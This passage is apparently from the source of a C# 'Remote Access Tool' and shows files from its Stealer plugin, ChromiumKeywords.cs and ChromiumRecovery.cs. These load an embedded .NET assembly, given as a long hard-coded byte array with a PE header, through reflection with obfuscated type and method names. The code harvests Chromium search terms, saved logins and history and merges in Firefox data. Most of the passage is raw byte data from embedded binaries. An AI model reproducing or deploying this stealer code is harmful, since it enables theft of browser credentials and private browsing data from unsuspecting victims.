0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/ChromiumKeywords.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal class ChromiumKeywords { //select keyword_search_terms.term, urls.url, urls.last_visit_time from keyword_search_terms join urls on keyword_search_terms.url_id = urls.id internal static List Recovery() { try { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(ChromiumHistory.Chrome); System.Reflection.MethodInfo method = assemblytoload.GetType("Y7M9K2N6Q9.T8E9A5M1I7M0G6F8").GetMethod("VC7B3D6T8D9"); object obj = assemblytoload.CreateInstance(method.Name); List chrome = (List)method.Invoke(obj, null); return chrome; } catch { return null; } } } } ================================================ FILE: Remote Access Tool/Plugins/Stealer/ChromiumRecovery.cs ================================================ using System.Collections.Generic; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Plugin { internal static class ChromiumRecovery { internal static List Recovery() { try { System.Reflection.Assembly assemblytoload = System.Reflection.Assembly.Load(Chrome); System.Reflection.MethodInfo method = assemblytoload.GetType("ZUIDHNJKSDN.T8E9A5M1I7M0G6F8").GetMethod("AP7Z9V5B3W2"); object obj = assemblytoload.CreateInstance(method.Name); List chrome = (List)method.Invoke(obj, null); List fireFox = FireFoxRecovery.Recovery(); if (fireFox != null) { foreach (object[] o in fireFox) { chrome.Add(o); } } return chrome; } catch (System.Exception) { return null; } //return ks; } private static readonly byte[] Chrome = { 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, 0x4C, 0x01, 0x03, 0x00, 0x88, 0x6A, 0xD1, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x22, 0x20, 0x0B, 0x01, 0x30, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD2, 0x7A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x20, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x40, 0x85, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x7A, 0x00, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x64, 0x7A, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x20, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0xE8, 0x5A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x5C, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x60, 0x2E, 0x72, 0x73, 0x72, 0x63, 0x00, 0x00, 0x00, 0xA8, 0x03, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x40, 0x2E, 0x72, 0x65, 0x6C, 0x6F, 0x63, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB4, 0x7A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x05, 0x00, 0xF8, 0x43, 0x00, 0x00, 0x6C, 0x36, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x06, 0x00, 0x96, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x11, 0x73, 0x10, 0x00, 0x00, 0x0A, 0x26, 0x28, 0x1C, 0x00, 0x00, 0x06, 0x73, 0x11, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x12, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x62, 0x12, 0x01, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0C, 0x1A, 0x8D, 0x0F, 0x00, 0x00, 0x01, 0x25, 0x16, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x08, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x17, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x08, 0x6F, 0x03, 0x00, 0x00, 0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x18, 0x08, 0x6F, 0x05, 0x00, 0x00, 0x06, 0xA2, 0x25, 0x19, 0x08, 0x6F, 0x09, 0x00, 0x00, 0x06, 0xA2, 0x0D, 0x06, 0x09, 0x6F, 0x18, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2D, 0x95, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x03, 0x00, 0x00, 0x1B, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x17, 0x00, 0x6F, 0x86, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x1E, 0x02, 0x7B, 0x01, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x01, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x02, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x02, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x03, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x03, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x7B, 0x04, 0x00, 0x00, 0x04, 0x2A, 0x22, 0x02, 0x03, 0x7D, 0x04, 0x00, 0x00, 0x04, 0x2A, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x1B, 0x30, 0x0A, 0x00, 0xF2, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x11, 0x02, 0x7E, 0x0E, 0x00, 0x00, 0x04, 0x7E, 0x0F, 0x00, 0x00, 0x04, 0x7E, 0x0A, 0x00, 0x00, 0x04, 0x28, 0x0E, 0x00, 0x00, 0x06, 0x0A, 0x02, 0x06, 0x03, 0x12, 0x01, 0x28, 0x0F, 0x00, 0x00, 0x06, 0x0C, 0x12, 0x04, 0x04, 0x05, 0x0E, 0x05, 0x28, 0x33, 0x00, 0x00, 0x06, 0x11, 0x04, 0x13, 0x05, 0x02, 0x06, 0x28, 0x0D, 0x00, 0x00, 0x06, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x13, 0x06, 0x16, 0x13, 0x07, 0x07, 0x0E, 0x04, 0x0E, 0x04, 0x8E, 0x69, 0x12, 0x04, 0x11, 0x06, 0x11, 0x06, 0x8E, 0x69, 0x14, 0x16, 0x12, 0x07, 0x16, 0x28, 0x1A, 0x00, 0x00, 0x06, 0x13, 0x08, 0x11, 0x08, 0x2C, 0x17, 0x72, 0x01, 0x00, 0x00, 0x70, 0x11, 0x08, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x11, 0x07, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0D, 0x07, 0x0E, 0x04, 0x0E, 0x04, 0x8E, 0x69, 0x12, 0x04, 0x11, 0x06, 0x11, 0x06, 0x8E, 0x69, 0x09, 0x09, 0x8E, 0x69, 0x12, 0x07, 0x16, 0x28, 0x1A, 0x00, 0x00, 0x06, 0x13, 0x08, 0x11, 0x08, 0x7E, 0x12, 0x00, 0x00, 0x04, 0x33, 0x0B, 0x72, 0x7F, 0x00, 0x00, 0x70, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x11, 0x08, 0x2C, 0x17, 0x72, 0xE7, 0x00, 0x00, 0x70, 0x11, 0x08, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0xDE, 0x0E, 0x12, 0x05, 0xFE, 0x16, 0x0B, 0x00, 0x00, 0x02, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x07, 0x28, 0x18, 0x00, 0x00, 0x06, 0x26, 0x08, 0x28, 0x1E, 0x00, 0x00, 0x0A, 0x06, 0x16, 0x28, 0x14, 0x00, 0x00, 0x06, 0x26, 0x09, 0x2A, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x30, 0x00, 0x9D, 0xCD, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00, 0x32, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x11, 0x02, 0x03, 0x7E, 0x0B, 0x00, 0x00, 0x04, 0x28, 0x10, 0x00, 0x00, 0x06, 0x0A, 0x1A, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x25, 0x16, 0x06, 0x1A, 0x91, 0x9C, 0x25, 0x17, 0x06, 0x1B, 0x91, 0x9C, 0x25, 0x18, 0x06, 0x1C, 0x91, 0x9C, 0x25, 0x19, 0x06, 0x1D, 0x91, 0x9C, 0x16, 0x28, 0x1F, 0x00, 0x00, 0x0A, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00, 0x62, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x11, 0x7E, 0x20, 0x00, 0x00, 0x0A, 0x0A, 0x12, 0x00, 0x03, 0x04, 0x16, 0x28, 0x13, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0x4D, 0x01, 0x00, 0x70, 0x07, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x28, 0x21, 0x00, 0x00, 0x0A, 0x05, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x0C, 0x06, 0x7E, 0x0C, 0x00, 0x00, 0x04, 0x08, 0x08, 0x8E, 0x69, 0x16, 0x28, 0x16, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0xD0, 0x01, 0x00, 0x70, 0x07, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x06, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x09, 0x00, 0x7B, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x11, 0x02, 0x03, 0x7E, 0x09, 0x00, 0x00, 0x04, 0x28, 0x10, 0x00, 0x00, 0x06, 0x16, 0x28, 0x1F, 0x00, 0x00, 0x0A, 0x0A, 0x06, 0x28, 0x22, 0x00, 0x00, 0x0A, 0x0B, 0x02, 0x1A, 0x8D, 0x04, 0x00, 0x00, 0x1B, 0x25, 0x16, 0x7E, 0x08, 0x00, 0x00, 0x04, 0xA2, 0x25, 0x17, 0x17, 0x28, 0x23, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x18, 0x04, 0x8E, 0x69, 0x28, 0x23, 0x00, 0x00, 0x0A, 0xA2, 0x25, 0x19, 0x04, 0xA2, 0x28, 0x11, 0x00, 0x00, 0x06, 0x0C, 0x03, 0x7E, 0x20, 0x00, 0x00, 0x0A, 0x7E, 0x0D, 0x00, 0x00, 0x04, 0x05, 0x07, 0x06, 0x08, 0x08, 0x8E, 0x69, 0x16, 0x28, 0x17, 0x00, 0x00, 0x06, 0x0D, 0x09, 0x2C, 0x16, 0x72, 0xC3, 0x02, 0x00, 0x70, 0x09, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x07, 0x2A, 0x00, 0x13, 0x30, 0x06, 0x00, 0x59, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x11, 0x16, 0x0A, 0x03, 0x04, 0x14, 0x16, 0x12, 0x00, 0x16, 0x28, 0x15, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0x2D, 0x03, 0x00, 0x70, 0x07, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x06, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0C, 0x03, 0x04, 0x08, 0x08, 0x8E, 0x69, 0x12, 0x00, 0x16, 0x28, 0x15, 0x00, 0x00, 0x06, 0x0B, 0x07, 0x2C, 0x16, 0x72, 0xB2, 0x03, 0x00, 0x70, 0x07, 0x8C, 0x1F, 0x00, 0x00, 0x01, 0x28, 0x1C, 0x00, 0x00, 0x0A, 0x73, 0x1D, 0x00, 0x00, 0x0A, 0x7A, 0x08, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x05, 0x00, 0x69, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x11, 0x16, 0x0A, 0x03, 0x0D, 0x16, 0x13, 0x04, 0x2B, 0x17, 0x09, 0x11, 0x04, 0x9A, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x07, 0x06, 0x11, 0x05, 0x8E, 0x69, 0x58, 0x0A, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E, 0x69, 0x32, 0xE2, 0x06, 0x17, 0x59, 0x17, 0x58, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x16, 0x0C, 0x03, 0x0D, 0x16, 0x13, 0x04, 0x2B, 0x25, 0x09, 0x11, 0x04, 0x9A, 0x13, 0x06, 0x11, 0x06, 0x2C, 0x15, 0x11, 0x06, 0x16, 0x07, 0x08, 0x11, 0x06, 0x8E, 0x69, 0x28, 0x24, 0x00, 0x00, 0x0A, 0x08, 0x11, 0x06, 0x8E, 0x69, 0x58, 0x0C, 0x11, 0x04, 0x17, 0x58, 0x13, 0x04, 0x11, 0x04, 0x09, 0x8E, 0x69, 0x32, 0xD4, 0x07, 0x2A, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x01, 0x00, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x4B, 0x44, 0x42, 0x4D, 0x28, 0x23, 0x00, 0x00, 0x0A, 0x80, 0x08, 0x00, 0x00, 0x04, 0x72, 0x20, 0x04, 0x00, 0x70, 0x80, 0x09, 0x00, 0x00, 0x04, 0x72, 0x3A, 0x04, 0x00, 0x70, 0x80, 0x0A, 0x00, 0x00, 0x04, 0x72, 0x5A, 0x04, 0x00, 0x70, 0x80, 0x0B, 0x00, 0x00, 0x04, 0x72, 0x76, 0x04, 0x00, 0x70, 0x80, 0x0C, 0x00, 0x00, 0x04, 0x72, 0x90, 0x04, 0x00, 0x70, 0x80, 0x0D, 0x00, 0x00, 0x04, 0x72, 0xA8, 0x04, 0x00, 0x70, 0x80, 0x0E, 0x00, 0x00, 0x04, 0x72, 0xB0, 0x04, 0x00, 0x70, 0x80, 0x0F, 0x00, 0x00, 0x04, 0x17, 0x80, 0x10, 0x00, 0x00, 0x04, 0x17, 0x80, 0x11, 0x00, 0x00, 0x04, 0x20, 0x02, 0xA0, 0x00, 0xC0, 0x80, 0x12, 0x00, 0x00, 0x04, 0x2A, 0x1B, 0x30, 0x05, 0x00, 0x30, 0x04, 0x00, 0x00, 0x08, 0x00, 0x00, 0x11, 0x73, 0x25, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xEA, 0x04, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xF8, 0x04, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x2A, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x42, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x70, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x7C, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x9E, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xB2, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xDC, 0x05, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xFA, 0x05, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x3E, 0x06, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x50, 0x06, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x78, 0x06, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x8A, 0x06, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC2, 0x06, 0x00, 0x70, 0x7E, 0x14, 0x00, 0x00, 0x04, 0x72, 0xCE, 0x06, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x06, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x14, 0x07, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x52, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x62, 0x07, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x86, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x9E, 0x07, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xD6, 0x07, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xF2, 0x07, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x22, 0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x34, 0x08, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x76, 0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xB4, 0x08, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xDA, 0x08, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xF6, 0x08, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x16, 0x09, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x32, 0x09, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x7E, 0x09, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x9E, 0x09, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC4, 0x09, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xDA, 0x09, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x22, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x2E, 0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x5A, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x66, 0x0A, 0x00, 